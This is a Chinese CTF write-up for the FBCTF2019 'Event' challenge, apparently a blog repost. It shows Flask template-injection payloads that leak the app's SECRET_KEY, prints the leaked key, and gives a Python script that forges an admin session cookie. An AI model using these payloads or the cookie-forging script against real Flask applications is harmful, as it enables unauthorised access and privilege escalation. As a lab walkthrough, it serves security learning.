刷题[FBCTF2019]Event

解题思路

信息收集

打开发现是这样的登陆框,信息泄露,弱口令什么的尝试一下,无果,正常注册登陆

发现需要通过admin用户登陆,并且发现有/flag这样的路由,猜测后台为python编写

抓包发现有看不懂的三段cookie,还有三个参数,猜测有可能是jwt,测试了一下也无果,猜测思路应该是找到提示,伪造cookie登陆为admin获得flag。猜测可能是flask伪造登陆常见考点了

ssti

通过测试,使用__class__或者__dict__在event_important处可以爆出相关内容

payload:__class__.__init__.__globals__

通过此获取function所处空间下可使用的module、方法以及所有变量

发现确实是使用flask模板

payload:__class__.__init__.__globals__[app].config

通过此获取配置文件信息

'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

flask原理:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

exp

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

网上有一篇exp,涉及到session原理,具体可以看此篇讲解,我总结一下

  1. 在flask/sessions.py中,SecureCookieSessionInterface用于封装对CookieSession的一系列操作
  2. 默认的序列化方式为session_json_serializer = TaggedJSONSerializer()
  3. SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer

所以使用的是SecureCookieSessionInterface().get_signing_serializer(app).dumps

返回admin的cookie值,替换user的cookie登陆,即可获得flag

总结思路

遇到/xx此类型,想到路由,使用python作为后端代码,一般即为ssti,此题为flask安全登陆问题,通过篡改cookie,实现登陆伪造

知识点

  • flask安全漏洞
原文地址:https://www.cnblogs.com/karsa/p/13726823.html